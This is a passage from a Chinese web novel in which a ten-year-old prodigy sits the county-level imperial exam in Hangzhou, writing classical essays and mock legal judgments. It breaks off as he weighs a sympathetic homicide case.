林天元像是下定了某种决心,眼中闪过一抹决然。 “你这小子,天生就不是池中之物。” “半个月后,院试!” 第110章 院试开考!发卷! 五日后,一支庞大的商队自林府缓缓驶出,旌旗招展,车辙滚滚,向着杭州府的方向进发。 这支商队,除了满载的货物与精锐的护卫,还多出了几十位特殊的“乘客”。 这些人,许多人通过府试已经数年,甚至十数年。 岁月在他们的鬓角刻下了痕迹,科举却像一座遥不可及的山峰,让他们耗尽了青春,只为求得一个“秀才”的功名。 秀才,是“士”的起点。 一旦功名在身,便意味着终生免除税赋徭役,见官不跪,可以开馆授徒,成为乡里受人敬重的“老爷”。 为了这道门槛,无数人蹉跎一生,皓首穷经,至死方休。 陆明渊坐在单独为他准备的马车里,车厢宽敞,铺着柔软的锦垫。 透过车窗的缝隙,他能看到那些学子们挤在后面的大车上,颠簸中依旧手不释卷,口中念念有词。 他们的存在,像是一面镜子,映照出这个时代读书人最真实的挣扎与渴望。 而他自己,却像是一个闯入这个世界的异类,以一种近乎蛮横的姿态,走在一条截然不同的道路上。 车队行了数日,终于抵达了繁华的杭州府。 车队没有停留,径直来到了西湖边上那座闻名遐迩的聚贤客栈。 客栈的掌柜是个精明的胖子,一见林家三爷林天元亲自带队,便满脸堆笑地迎了出来。 当他的目光落在林天元身后那个身形尚显单薄的少年身上时,眼睛骤然一亮。 “哎呀!这不是陆小官人吗?” 掌柜一个箭步冲上前来,对着陆明渊便是一个长揖。 “小人有眼不识泰山,竟不知是双魁首大驾光临!快请,快请!楼上最好的天字号房,小人早就给您备下了!” 当初陆明渊府试夺魁,便是在此下榻。 掌柜的精明,不仅在于认人,更在于他早已将“双魁首下榻之所”的名头打了出去,让聚贤客栈的生意又上了一个台阶。 林天元含笑看着这一幕,并不作声。 掌柜的热情却远不止于此,他大手一挥,对着身后的伙计高声道。 “都长点眼色!陆小官人是我们聚贤客栈最尊贵的客人,在店期间,一切食宿费用全免!” “还有,所有与陆小官人同行的林家学子,房费一律半价,餐食全免!” 此言一出,跟在后面那些原本还有些拘谨的林家学子们,顿时一片哗然,脸上纷纷露出惊喜交加的神色。 他们大多家境不算宽裕,来杭州府赶考,一应开销都是一笔巨大的负担。 如今能省下这笔食宿费用,无疑是解了燃眉之急。 一时间,众人看向陆明渊的眼神,都变了。 那眼神里,有感激,有羡慕,更有一丝发自内心的敬畏。 他们寒窗苦读十数载,耗尽家财,在这繁华的杭州城里,依旧要为几两银子的房费餐费而计较。 而眼前这个年仅十岁的少年,仅仅是凭着自己的名声,便能让这寸土寸金的聚贤客栈老板如此礼遇。 这就是名望的力量。 众人纷纷上前,对着陆明渊拱手作揖。 “多谢明渊贤弟!” “我等……皆是沾了明渊贤弟的光啊!” 陆明渊微笑着,一一还礼,姿态谦和,言语得体,没有丝毫少年得志的张扬,反而让众人愈发心折。 安顿下来后,林天元便带着陆明渊出了客栈,沿着西湖的堤岸,缓缓走向不远处的贡院。 杭州贡院,坐落在孤山之麓,面临西湖,背靠宝石山,红墙黑瓦,气势恢宏。 此刻,贡院大门紧闭,门口有兵丁把守,肃杀之气与不远处的湖光山色形成了鲜明的对比。 “这里,便是你接下来要去的地方了。” 林天元指着那高大的院墙,声音低沉。 “院试连考三场,每一场都是对心力、体力与学识的三重考验。你要记住,稳住心神,比什么都重要。” 陆明渊静静地看着那座如同巨兽般盘踞的建筑,点了点头。 回到客栈,接下来的两日,陆明渊便再未出过房门。 他摒弃了一切杂念,将自己的精神状态调整到了巅峰。 两天后,天色微明,雄鸡三唱。 整个杭州城仿佛从沉睡中苏醒,无数盏灯火在黑暗中亮起,汇成一条条光带,朝着同一个方向——贡院。 陆明渊与林家的一众学子,也汇入了这股人潮之中。 没有人说话,空气中只有沉重的呼吸声和纷乱的脚步声。 每一个人的脸上,都写满了凝重与紧张。 贡院门前,早已是人山人海,黑压压的一片。 考生们按照籍贯排成长队,等待着入场。 陆明渊凭借着童生的身份证明,领取了自己的号码牌,上面用朱砂写着一个清晰的编号。 入场的时刻终于到来。 贡院门前,设下了数道关卡,负责搜检的兵丁和吏员,一个个面无表情,眼神锐利如鹰。 检查的严格程度,超乎了所有人的想象。 考生们被要求解开发髻,让吏员用手仔细地在发根处探查,以防藏有纸条。 随后,是脱去外袍、中衣,最后只剩一身贴身的单衣,交给另一拨人仔细检查衣物的夹层、缝线,甚至连鞋底都要用锥子刺探。 轮到陆明渊时,他神色平静,没有丝毫波澜。他从容地解开发髻,任由那双粗糙的手在自己头皮上摸索。 然后,他坦然地脱下衣物,将考篮里的笔墨纸砚、干粮水囊一一展示出来。 负责检查他的,是一个年老的吏员。 他见陆明渊年纪如此之小,却这般镇定自若,眼中闪过一丝讶异。 他的动作,也下意识地放轻柔了些。 检查完毕,陆明渊重新穿好衣物,提着考篮,走进了那扇厚重的,被称为“龙门”的贡院大门。 门内门外,是两个截然不同的世界。 门外是喧嚣的人世,门内,则是一片死寂。 映入眼帘的,是两条长长的甬道,甬道两侧,是一排排望不到头的号舍。 这些号舍,便是考生们未来几天战斗与栖身之所。 每一个号舍,都狭小得令人窒息。 宽不过三尺,深不过四尺,仅能容纳一人转身。 里面除了一块可以充当桌子和床铺的木板,再无他物。 陆明渊根据自己的号码牌,找到了属于自己的那间号舍。 位置还算不错,靠近角落,远离了主干道,相对安静一些。 他走进这狭小的空间,将考篮里的东西一一取出,整齐地摆放在木板之上。 笔、墨、纸、砚,还有几块充饥的麦饼,一个装满清水的竹筒。 这就是他未来几天所有的依仗。 他坐了下来,闭上双眼,调整着自己的呼吸。 时间一点一滴地流逝。 当第一缕晨光穿透云层,洒在这片肃穆的考场之上时,一声悠长而沉闷的钟声,响彻了整个贡院。 “铛——” 所有考生精神一振,齐齐坐直了身体。 一名身穿绯色官袍的主考官,在数名官员的簇拥下,登上了位于贡院中央的明远楼。 他目光威严地扫视了一圈下方密密麻麻的号舍,声音嘹亮,清晰地传到了每一个人的耳中。 “院试开考!发卷!” 第111章 科场,是龙门,也是深渊! 话音落下,数十名身穿皂衣的巡考官,捧着一叠叠密封好的试卷,迈着整齐的步伐,走入了甬道,开始挨个号舍分发试卷。 脚步声整齐划一,如同踩在所有考生心尖上的鼓点,沉闷而压抑。 试卷的纸质是上好的宣州麻纸,入手微凉,带着一种独特的韧性。 陆明渊将其平铺在木板之上,动作不疾不徐。 整个贡院,在这一刻陷入了一种诡异的寂静。 “铛——” 又是一声钟鸣,宣告着考试的正式开始。 两个时辰,七篇文章。 对于绝大多数考生而言,这无异于一场炼狱般的煎熬。 时间的压迫感,如同悬在头顶的利剑,让他们的思维变得迟滞,让平日里滚瓜烂熟的经义,此刻却仿佛隔着一层厚厚的迷雾。 许多人刚刚看完第一道题,额头上便已渗出了细密的汗珠。 陆明渊的目光,落在了试卷之上。 卷首第一题,赫然写着: “夫子加齐之卿相,得行道焉,虽由此霸王不异矣。如此,则动心否乎?” 此题出自《孟子·公孙丑上》。 一瞬间,相关的经义、注疏、历代大儒的解读,如同潮水般涌入陆明渊的脑海,清晰无比,条分缕析。 他几乎能想象得到,此刻贡院之中,九成九的考生会如何作答。 他们会引经据典,大谈特谈圣人“富贵不能淫,贫贱不能移,威武不能屈”的浩然之气。 他们会斩钉截铁地回答“不动心”,以此来表明自己心志之坚,品行之高,绝不会为权位所动,一心只为圣上,只为朝廷。 这是一个最稳妥,也最安全的答案。 像是一篇早已被谱写了无数遍的八股文章,四平八稳,无懈可击,却也毫无新意,味同嚼蜡。 出题的学政大人,想看到的,真的是这样千篇一律的答案吗? 科举,求的是经世致用之才,而非皓首穷经的书蠹。 若为官的本心,只是为了那份俸禄,那份体面,那与行商坐贾又有何异? 读书人之所以为“士”,之所以为四民之首,所求者,不正是那“得行道焉”四个字吗? 若连“行道”之心都不敢承认,那这数十年的寒窗苦读,又有何意义? 陆明渊心中豁然开朗。 他不再有丝毫犹豫,提笔,落墨。 笔尖在麻纸上划过,发出沙沙的轻响,如同春蚕食叶,沉静而富有生命力。 他的破题,只有五个字,却如同一声惊雷,足以炸响在任何一位阅卷官的心头。 “臣则必动心!” 开篇即反其道而行之,石破天惊! 写下这五个字,陆明渊只觉文思泉涌,胸中那股澄澈之气沛然勃发。 他没有停顿,笔走龙蛇,一气呵成。 “所谓动心者,非为加齐之卿相,非为霸王之权柄,亦非为一己之荣华富贵。所动之心,乃是那‘得行道焉’之机也!” “圣人学问,本为经世济民。十年寒窗,所求为何?” “若天降大任于斯人,赐其以行道之权,使其能上佐天子,下安黎庶,内修法度,外拓疆土,实现胸中抱负,毕生所学得以施展。” “如此机遇,若心如古井,不起波澜,非为心志坚定,实为麻木不仁,伪君子也!” “今有‘行道’之机在前,若不为所动,是为无心;若畏难不前,是为无能;尸位素餐,是为无用!” “故,臣必动心!此心,是为天下苍生而动,是为圣人大道而动,是为大乾万年基业而动!” “心动,而后行至,方不负此生,不负圣贤之教诲!” 一篇短文,不过三百余字,却字字珠玑,掷地有声。 立意高远,格局宏大! 直指儒家学问的根本核心——“行道”与“担当”。 当最后一笔落下,陆明渊轻轻吁出一口气。 一炷香的时间,堪堪燃尽。 他将试卷稍稍移开,待墨迹自然风干,目光便已转向了第二道题目。 …… 贡院的甬道内,一名年过五旬的巡考官正背着手,缓步踱过。 他姓张,在这杭州贡院当差已有二十余年,见过的考生多如过江之鲫。 每一届院试,他都能看到无数张年轻或不再年轻的脸上,写满了紧张、焦虑、希冀与绝望。 他听着那一排排号舍里传出的声音,有的在奋笔疾书,笔尖摩擦纸张的声音急促如雨。 有的则传来低低的咳嗽与叹息,显然是遇到了难题,心神不宁。 更有甚者,已经停下了笔,呆呆地望着木板,面如死灰。 这便是科场,是龙门,也是深渊。 张巡考的脚步,在一处角落的号舍前,微微一顿。 这间号舍里,太过安静了。 安静得有些不同寻常。 他侧过头,透过那狭小的窗口,向里望去。 只见一个身形单薄的少年,正襟危坐,神情专注地看着试卷,而他手中的笔,却早已放回了笔架之上。 张巡考眉头一皱。 这少年看年纪不过十岁上下,是这届考生里年纪最小的几人之一。 如此年幼,心性不定,莫不是被这第一道难题给吓住了,直接放弃了? 他心中闪过一丝惋惜,毕竟是棵好苗子,能一路考到院试,已是凤毛麟角。 他悄无声息地又走近了两步,目光不经意地扫向了少年面前的答卷。 只这一眼,张巡考那古井无波的眼神,骤然凝固! 那张答卷之上,第一题的区域,赫然已经写满了字。 字迹隽秀挺拔,锋芒暗藏,如铁画银钩,一看便知有极深的书法功底。 而更让他心神剧震的,是那破题的第一句话! “臣则必动心!” 短短五个字,仿佛带着一股睥睨天下的气魄,狠狠地撞进了他的眼帘! 好大的胆子!好狂的口气! 张巡考的第一反应是荒谬。 在这讲究中庸之道,字字都要揣摩上意的科场之上,写出这样一句离经叛道的话,无异于自寻死路! 可当他的目光顺着那句话往下看去时,他脸上的惊愕,渐渐化作了凝重,随后,又从凝重,变成了难以置信的震撼! “所动之心,乃是那‘得行道焉’之机也!” “非为心志坚定,实为麻木不仁,伪君子也!” 一句句振聋发聩的文字,如洪钟大吕,在他的脑海中轰然作响。 他仿佛能看到,那个看似单薄的少年体内,蕴藏着何等宏大的志向与磅礴的胸襟! 这篇文章,已经完全跳出了八股文的窠臼。 它没有拘泥于形式的对仗与辞藻的华丽,而是用最质朴、最恳切,也最有力的话语,阐述了一个读书人最根本的理想与追求! 这哪里是一个十岁孩童能写出的文章? 这分明是一位胸怀天下的大儒,在叩问本心! 张巡考下意识地屏住了呼吸,他看着那个少年,此刻已经拿起了笔,开始从容不迫地构思第二篇文章。 那份镇定自若,那份挥洒自如,与周围那些抓耳挠腮、愁眉苦脸的考生,形成了无比鲜明的对比。 妖孽! 这是张巡考心中唯一的念头。 他在这贡院二十年,见过所谓的神童,见过才华横溢的解元,却从未见过如此……如此让人感到敬畏的少年! 他悄悄地退后几步,深深地看了一眼那间号舍的编号,将其牢牢记在心里,而后转身,脚步匆匆地朝着明远楼的方向走去。 他觉得,这件事,必须立刻禀报给楼上坐镇的几位大人。 而号舍内的陆明渊,对此一无所知。 他的世界里,只剩下眼前的试卷与手中的笔。 第二篇文章,论的是“礼”。 第三篇文章,考的是“义”。 …… 七篇文章,层层递进,涵盖了经、史、子、集,全方位地考验着考生的学识储备、思维深度与为文能力。 寻常考生,每写一篇,都要耗费巨大的心神,反复斟酌,字斟句酌。 往往写到第三、第四篇时,便已是心力交瘁,头昏脑涨。 对陆明渊而言,这不过是一场知识的检索与输出。 他的速度,没有丝毫减慢。 笔锋在纸上行云流水,一篇又一篇的文章,在他的笔下诞生。 时间,在墨香与寂静中缓缓流淌。 当贡院中响起钟声,提示考试时间已经过半时,许多考生才刚刚写完第三篇文章,正为第四篇的题目而绞尽脑汁。 而陆明渊,已经停下了笔。 在他的面前,七篇文章,整整齐齐,墨迹犹新。 他没有急于交卷,而是从头到尾,仔仔细细地将自己的答卷检查了一遍。 确认没有任何错字、漏字,卷面干净整洁,这才满意地点了点头。 做完这一切,距离考试结束,还有一个时辰。 陆明渊没有再去看那些经义,也没有去想接下来的考试。 他拿起随身携带的麦饼,小口小口地吃着,又喝了几口清水,补充着消耗的体力。 然后,他靠着冰冷的墙壁,闭上了双眼,开始闭目养神。 第112章 第二场!以法为据,以理为绳! “铛——” 悠长而沉重的钟声再次响起,整个贡院内,无数考生同时舒了一口气。 监考官们再次迈着整齐的步伐鱼贯而入,面无表情地收走所有试卷。 当最后一名巡考官的身影消失在甬道尽头,紧闭的号舍门终于被一一打开。 阳光倾泻而入,刺得许多久坐于昏暗中的考生一阵头晕目眩。 压抑了两个时辰的贡院,仿佛一个被捂住了口的沸水锅,在揭开盖子的瞬间,轰然炸响。 一众考生如蒙大赦,纷纷起身,踉踉跄跄地走出那方寸天地。 他们活动着僵硬的四肢,寻找着熟悉的面孔,压抑许久的情绪,在这一刻找到了宣泄的出口。 “子敬兄!你觉得如何?那第一题也太刁钻了些!我思来想去,还是写得‘不动心,想来不会有错。” 一个面色苍白、身材瘦高的年轻人拉住同伴,声音里带着一丝急切和寻求认同的渴望。 被称作子敬的考生,此刻却是意气风发,他轻摇折扇,脸上带着一抹抑制不住的得意,朗声道。 “此题看似问心,实则考的是‘忠’!何为不动心?非是对权位不动心,而是对圣上、对朝廷的忠心不动摇!” “我便是以此为核心破题,洋洋洒洒,自觉颇有几分见地!” 他环顾四周,见不少人都投来艳羡的目光,脸上的得意之色更浓。 有人欢喜,自然就有人愁。 更多的人,是面如死灰,沉默不言。 他们默默地收拾着自己的考篮,低着头,脚步沉重地往外走。 科场的残酷,在第一场便已给了他们当头一棒。 那七道题目,如同一座座难以逾越的大山,压得他们喘不过气来。 此刻,他们只想尽快离开这个伤心之地。 人群的一角,忽然传来一阵压抑不住的呜咽,随即化作了嚎啕大哭。 “呜呜……完了,全完了……第四篇的史论,我竟将前朝的年号记错了。” “十年……我苦读十年,竟犯下如此大错……我对不起爹娘,对不起恩师啊。” 那是一名三十岁上下的中年考生,此刻他瘫坐在地,涕泪横流,状若疯癫。 周围的人群纷纷避让,投去的目光里,有同情,有怜悯,亦有几分兔死狐悲的庆幸。 这就是科场,是天下读书人向往的龙门,却也是吞噬了无数人青春与梦想的深渊。 一步天堂,一步地狱。 陆明渊夹杂在人流之中,缓步向外走着。 周围的人生百态,一幕幕映入他的眼帘,却未能在他的心湖中激起半点涟漪。 前一世,他见过的风浪,远比这小小的院试要宏大得多。 他的心,早已在过往的岁月中被打磨得古井无波。 不是冷漠,而是一种洞悉了世事无常后的平静。 穿过拥挤的人群,陆明渊来到了林家府学的聚集点。 一棵巨大的槐树下,林天元正焦急地来回踱步,不时地伸长脖子向贡院门口张望。 他身后,是十几个同样神色紧张的府学下人。 “明渊!” 看到陆明渊的身影,林天元眼睛一亮,连忙快步迎了上来,急切地问道。 “如何?考得如何?题目可还顺手?” 他的声音里带着一丝不易察觉的颤抖,显然,他对陆明渊寄予了厚望,也因此而格外紧张。 陆明渊看着他关切的眼神,心中流过一丝暖意。 他平静地点了点头,淡然回应道:“尚可,题目都在意料之中。” 没有过多的言语,没有丝毫的炫耀。 林天元先是一愣,随即细细打量着陆明渊的神情。 那张稚气未脱的脸上,没有半分考后的疲惫与紧张,只有一片云淡风轻。 林天元的心,瞬间就放回了肚子里。 他带过这么多届考生,深知考场对人心神的消耗。 考得好与不好,从一个人的精气神上,便能看出七八分。 像陆明渊这般从容不迫,举重若轻的,他还是第一次见到。 稳了! 这次肯定稳了! 林天元心中涌起一阵狂喜,重重地拍了拍陆明渊的肩膀,欣慰道。 “好!好!好!你先回客栈好生休息,养足精神,准备后日的第二场。这里有我。” 说着,他的目光转向了陆续走出的其他林家府学考生。 果不其然,几家欢喜几家愁。 有几个学生一出来,便围在一起唉声叹气,更有两个,眼眶通红,显然是发挥失常,心神大恸。 作为府学的负责人,林天元必须留下来安抚他们,为他们鼓劲。 陆明渊点了点头,没有多言,转身便朝着客栈的方向走去。 回到福来客栈,熟悉的伙计立刻热情地迎了上来,端上早已备好的热茶和点心。 陆明渊道了声谢,便径直回了自己的房间。 他没有急着休息,而是关上房门,从书箱中取出了一部厚厚的《大乾律例》。 院试第二场,考的是律法。 一场策论,三篇律法条文的默写,以及三道模拟断案。 对于律法的默写,陆明渊早已滚瓜烂熟,倒背如流。 但断案,却不仅仅是考验记忆力。它 考验的是一个读书人对法理的理解,对人情的洞察,以及在复杂情况下的逻辑分析与判断能力。 这恰恰是陆明渊认为自己需要加强的地方。 前世的他,更多的是站在宏观的角度思考问题,对于这种细致入微的基层断案,经验尚有欠缺。 他翻开书页,沉下心来,一字一句地研读着那些经典的案例。 “崇德五年,张三与李四因田地疆界争执,张三失手将李四推倒,李四后脑着地,不治身亡。问:张三当以何罪论处?” “景佑二年,有妇人王氏状告其夫与婢女私通,按律,私通者当杖八十。然其夫辩称,乃婢女主动勾引,自己一时糊涂。问:此案当如何判罚?婢女与主家之罪,是否等同?” 一个个案例,看似简单,背后却牵扯着复杂的法理与人情。 陆明渊看得极为投入,他将自己代入判官的角色,反复推敲着其中的每一个细节。 何为“故杀”?何为“误杀”?律法中的“主犯”与“从犯”又该如何界定? 法理与人情,在具体的案件中,又该如何权衡? 时间,就在这静默的思考中悄然流逝。 窗外的天色,由明转暗,暮色四合。 “咚咚咚。” 房门被轻轻敲响。 “明渊,是我。” 是林天元的声音。 陆明渊放下书卷,起身开门。 林天元走了进来,手中还提着一个食盒。 他将食盒放在桌上,打开盖子,里面是几样精致的小菜和一碗热气腾腾的鸡汤。 “先吃点东西,看了一下午,也该饿了。” 林天元温和地说道,目光落在桌上的《大乾律例》上,眼中闪过一丝赞许。 “多谢先生。” 陆明渊也不客气,坐下来开始吃饭。 林天元看着他,沉吟了片刻,开口道。 “明渊,关于第二场的考试,我想提点你几句。” “先生请讲。” “律法考试,默写的部分,考验的是你的基本功,这个我不担心。” 林天元缓缓说道,“关键在于策论和断案。” “策论,往往会结合时弊,考察你对大乾律法精神的理解。” “切记,立论要稳,不可过于剑走偏锋。我朝以孝治天下,凡事须以‘仁’、‘孝’为本,万变不离其宗。” “至于断案,”林天元的表情变得严肃起来。 “这是最容易出彩,也最容易出错的地方。你要记住八个字——‘以法为据,以理为绳’。” “何解?” 陆明渊问道。 “‘以法为据’,是说你所有的判决,都必须有明确的律法条文作为支撑,不可凭空臆断,更不可想当然。” “这是为官的根本,是程序的正义。” “而‘以理为绳’,则是指在律法允许的范围内,要充分考虑到天理、国法、人情。” “律法是死的,但人是活的。一个好的判官,不仅要让罪犯伏法,更要让百姓信服,让案件的各方都能感受到公平。” “这根绳子,就是你心中的那杆秤,考验的是你的智慧与良知。” 林天元语重心长地看着陆明渊。 “你天资聪颖,悟性极高,但毕竟年少,阅历尚浅。” “在断案时,宁可保守一些,四平八稳,也绝不能为了标新立异而偏离法理人情之根本。记住了吗?” 陆明渊放下碗筷,郑重地起身,对着林天元深深一揖。 “学生,受教了。” 林天元的这番话,看似简单,却是为官多年的经验之谈,字字珠玑。 它为陆明渊点明了方向,让他对即将到来的第二场考试,有了更清晰的认识。 林天元欣慰地点了点头,又与他闲聊了几句,叮嘱他早些休息,便起身告辞了。 送走林天元,陆明渊熄了灯,躺在床上。 窗外,杭州府的夜色渐浓,远处隐隐传来几声更漏的声响。 他却没有立刻睡去,脑海中依旧在回想着林天元的话,以及下午看到的那些案例。 “以法为据,以理为绳……” 他轻声呢喃着,渐渐地,陷入了沉沉的梦乡。 第二日,天还未亮,陆明渊便已起身。 他没有再去看书,而是在房间里缓缓地打了一套拳法,让自己的身体和精神都达到了一个巅峰的状态。 用过早饭,林家府学的队伍再次集结。 与昨日的紧张与喧嚣不同,今日的队伍显得格外沉静。 第一场的筛选,已经淘汰了许多心志不坚的人。 能站在这里,准备迎接第二场考试的,无一不是百里挑一的佼佼者。 第113章 与他预料的相差无几 清晨的空气带着江南特有的湿润与微凉,浸入肺腑,令人精神为之一振。 陆明渊的目光不经意地扫过前方,发现昨日排在他身前不远处的一个面色蜡黄的考生,今日已不见了踪影。 那个位置空了出来,留下一道豁口。 身后传来压抑的议论声,细碎地钻入耳中。 “听说了吗?是排在我们前面那个刘家的秀才,刘子谦。” “怎么了?我看他昨日出来时,脸色就不太对。” “何止是不对,听客栈的伙计说,他回房后便将自己关了起来,水米未进,到了半夜,竟传出嚎啕大哭之声。” “今早,他家里人便来将他接走了,说是……说是心态崩了,这第二场,不考了。” “唉,可惜了,他也是府学里有名的才子,平日里文章做得极好。这科场,真真是磨人啊……” 叹息声随风飘散,带着几分兔死狐悲的凉意。 这就是科场,比沙场更不见血的战场。 它考验的不仅仅是才学,更是心性。 一念之差,便可能万劫不复。 “开门——” 随着一声悠长的唱喏,贡院那厚重的朱漆大门在“嘎吱”声中缓缓开启。 搜检的官兵依旧是那副铁面无私的模样,动作麻利而严苛。 陆明渊提着自己的考篮,从容地接受检查,每一个动作都显得不疾不徐,有条不紊。 “铛——” 钟声响起,考试开始。 一名巡考官迈着沉稳的步伐走入,将一份崭新的试卷放在了陆明渊面前的案上。 试卷入手,带着一丝凉意。陆明渊没有急着动笔,而是先将整张试卷通览了一遍。 与他预料的相差无几。 第一部分,是三篇律法条文的默写。 第二部分,是一篇策论。 第三部分,是三道模拟断案,要求以主审官的身份,写下判词,并阐明判罚的律法依据与法理精神。 陆明渊的目光在三篇默写题上稍作停留。 第一篇,《大乾律·刑律·盗贼篇》。 第二篇,《大乾律·刑律·斗讼篇》。 这两篇都是刑法中的核心内容,是所有读书人的必修课,可以说是送分题。 而第三篇,则是《大乾律·户律·杂税篇》中关于“茶引盐课”的一段。 这一段极为冷门,涉及的是朝廷对茶叶和食盐这两种专卖商品的税收管理,条文繁琐,数字众多,通常考生很少会去专门背诵。 这便是考官的手段了。 在看似简单的题目中,埋下一道坎,用以区分优劣。 若是寻常考生,见到这道题,恐怕当场就要心神大乱。 但对陆明渊而言,这却构不成任何障碍。 他将历朝历代的税法典籍翻阅了无数遍。 这区区“茶引盐课”,早已烂熟于心。 他提起笔,饱蘸浓墨。 没有丝毫的停顿与思考,一行行工整俊逸的小楷便跃然纸上。 字字清晰,句句准确,连标点都一丝不苟。 不过一刻钟的功夫,三篇律法条文便已默写完毕。 完成默写,陆明渊的心神愈发沉静。 他将目光投向了那道策论题。 题目很短,只有一句话,出自《论语·为政》。 “道之以政,齐之以刑,民免而无耻;道之以德,齐之以礼,有耻且格。” 这道题,看似是在问德治与法治的优劣,实则是在考察考生对儒家治国理念核心的理解。 若答得浅了,便会陷入非此即彼的二元对立;若答得偏了,则会显得迂腐空谈,不切实际。 陆明渊的脑海中,瞬间闪过了林天元昨日的教诲。 “立论要稳,不可过于剑走偏锋。我朝以孝治天下,凡事须以‘仁’、‘孝’为本,万变不离其宗。” 他略作沉吟,心中便已有了腹稿。 这道题的精髓,不在于“辨”,而在于“合”。 德礼与政刑,并非水火不容,而是体用合一,相辅相成。 他再次提笔,在草稿纸上写下了破题之句: “圣人之言,非废政刑,乃辨本末也。德礼为治国之体,政刑为治国之用。有体有用,然后仁政可成,天下可格。” 寥寥数语,便将整篇文章的基调定了下来。 不偏不倚,中正平和,直指问题的核心。 德礼是根本,是内核,是治国之“体”;政刑是手段,是工具,是治国之“用”。 二者缺一不可。 破题之后,思路便如泉涌,一发不可收拾。 他笔锋一转,开始论述“体”的重要性。 “《孟子》有云:‘人皆有不忍人之心。’此乃人性之善端,亦为德礼教化之基石。” “故‘道之以德’,非以空言强令,乃是以圣人之道,春风化雨,润物无声,以唤醒民心本有之良知。” “使其知廉耻,明荣辱,发乎于内,而非慑于外。” “民有耻,则行事有所顾忌,心生敬畏,此为釜底抽薪之法,乃治国之根本。” 他引经据典,论证德政的根基在于人性中的善。 通过教化,让百姓从内心深处认同社会的秩序与道德,这才是最稳固、最长久的治理方式。 紧接着,他又开始论述“用”的必要性。 “然,《孟子》亦云:‘徒善不足以为政,徒法不能以自行。’人性虽善,然世间亦有冥顽不化之徒,亦有为利欲熏心之辈。” “若无政刑以为威慑,则德礼之教化,无异于空中楼阁,终将为奸邪所侵蚀。” “故‘齐之以刑’,乃为德礼设一坚固之堤坝,使善者有所恃,而恶者有所惧。” “政刑者,非为治民,乃为保民,为德礼之推行扫清障碍也。” 这一段,他将政刑的作用定义为“保护”而非“统治”,是为了保护善良的大多数,惩戒作恶的极少数。 论述完“体”与“用”,便是最后的总结与升华。 陆明渊深吸一口气,笔下的力道似乎又重了几分,每一个字都仿佛带着金石之声。 “故知,德礼者,仁政之北辰也,居其所而光辉自现;政刑者,璇玑玉衡也,执其用以辅成天道。” “圣人垂训,非厚此薄彼,乃欲后世为政者,当以德礼为心,以政刑为手,心手相应,体用兼备。” “内修文德,以化成天下;外严法纪,以禁暴除奸。如此,则刑措不用、礼乐大兴之治,或可期也!” 最后一笔落下,一篇洋洋洒洒的千字策论,一气呵成。 文章结构严谨,逻辑清晰,引经据典,恰到好处。 既阐明了德礼的根本性,又肯定了政刑的必要性,最后将二者完美地统一于“仁政”的宏大框架之下。 通篇读来,大气磅礴,充满了对儒家王道政治的深刻理解。 陆明渊轻轻吹干纸上的墨迹,将草稿放到一旁,开始将文章誊抄到试卷之上。 这篇策论,他有十足的把握,能够得到主考官的青睐。 此时,距离考试结束还有一个多时辰,时间绰绰有余。 他没有急着去看最后的断案题,而是再次闭上眼睛,让高速运转的大脑稍作休息,恢复心神。 片刻之后,他再次睁开双眼,目光已是一片清明。 第114章 法理之外的人情 他将目光缓缓移向试卷的最后一部分,那三道占据了近半篇幅的断案题。 这才是整场考试的真正核心,也是最能体现一个读书人是否具备“经世致用”之才的地方。 大乾王朝选拔官吏,并非是要一群只会引经据典、空谈心性的书呆子。 大乾王朝需要能真正下到州县,断狱问案,安抚百姓的实干之才。 律法,便是他们手中最重要,也是最锋利的武器。 陆明渊的视线扫过前两道题,心中波澜不惊。 第一案,是桩杀人案。 邻里二人因宅基地纠纷,积怨已久,一日酒后口角,升级为斗殴。 甲持棍击打乙头部,致其当场死亡。案情清晰,人证物证俱在,争议点在于定性为“斗殴杀人”还是“故意杀人”。 前者依律杖一百,流三千里;后者则需偿命,斩立决。 陆明渊提笔,蘸墨,笔走龙蛇。 他并未直接下定论,而是先引《大乾律·刑律·斗讼篇》中的条文,详细辨析了“谋杀”、“故杀”与“斗杀”三者在主观意图、行为手段上的根本区别。 他指出,此案起于口角,凶器为随手拾得的木棍,而非预藏的利刃,且有酒后冲动之情节,应属“斗杀”范畴。 判词写得清晰明了,法理依据充足,逻辑链条严丝合缝,无可辩驳。 第二案,是桩私盐案。 一伙盐枭在官盐转运途中,买通押运官吏,以劣质粗盐偷梁换柱,将精细官盐盗出,销往他地牟取暴利。 此案涉及经济律法,盘根错节,牵扯人数众多,从犯、主犯、渎职官吏,如何量刑,如何追缴赃款,颇为考验功底。 这对陆明渊而言,同样不是难事。 他精准地引用了《大乾律·户律·盐法篇》中的相关规定。 他将盐枭首领、从犯、渎职官吏的罪责一一剖析,并根据其在案件中扮演的角色和获利多寡,给出了从斩首到罢官、从流放到了杖责不等的判罚建议。 两案判罢,不过用了半个时辰。 陆明渊活动了一下手腕,心神却愈发凝聚。 终于,他的目光落在了第三个,也是最后一个案子上。 只看了一眼题干,陆明渊的眉头便几不可察地微微一蹙。 案子本身并不复杂,卷宗的描述也极为简练,却字字泣血,透着一股小人物的悲凉与无奈。 “江州府民赵阿大,其父三年前病重,告贷于乡绅黄世仁,借银十两,以祖传薄田三亩为抵。” “父亡故,黄世仁持契上门,言明利滚利,本息共计十五两。” “赵家无力偿还,田被收。赵阿大为佃户,兼做短工,奉养六旬老母。” “本年大旱,颗粒无收。赵阿大泣求黄世仁减租,黄不允,反勒令其一日内缴清租子,否则收回田地,并以其母嫁妆抵债。” “次日,赵阿大未能筹齐银两。黄世仁率家丁上门,强索租税,推搡赵母,欲抢其嫁妆箱笼。” “赵阿大情急之下,同家丁冲突,乱中,黄世仁身死。” 案情陈述到此为止,最后一行字,是主考官冰冷的提问。 “依律,赵阿大该当何罪?如何判处?详述之。” 陆明渊没有立刻动笔。 他靠在冰冷的墙壁上,闭上了眼睛,眼前仿佛浮现出一幅画面。 一个衣衫褴褛的汉子,跪在干裂的土地上,对着一个乡绅苦苦哀求。 一个白发苍苍的老母亲,被恶奴推倒在地,死死护着身下那只破旧的木箱。 最后,是那汉子绝望的怒吼,以及柴刀落下时,那一声沉闷的声响和飞溅的血色…… 这就是大乾的乡野,这就是阳光照不到的角落里,每日都在上演的悲剧。 律法是冰冷的,条文是无情的。 《大乾律》写得清清楚楚,“杀人者死”,这是最基本,也是最不容动摇的原则。 从案情描述来看,赵阿大持刀杀人,事实清楚,证据确凿。 判一个“故杀”,处以斩刑,在法理上,毫无问题。 任何一个四平八稳的考生,都会这么判。 这最安全,最不会出错。 但陆明渊的指尖,却在桌案上轻轻地敲击着,发出极有韵律的“笃笃”声。 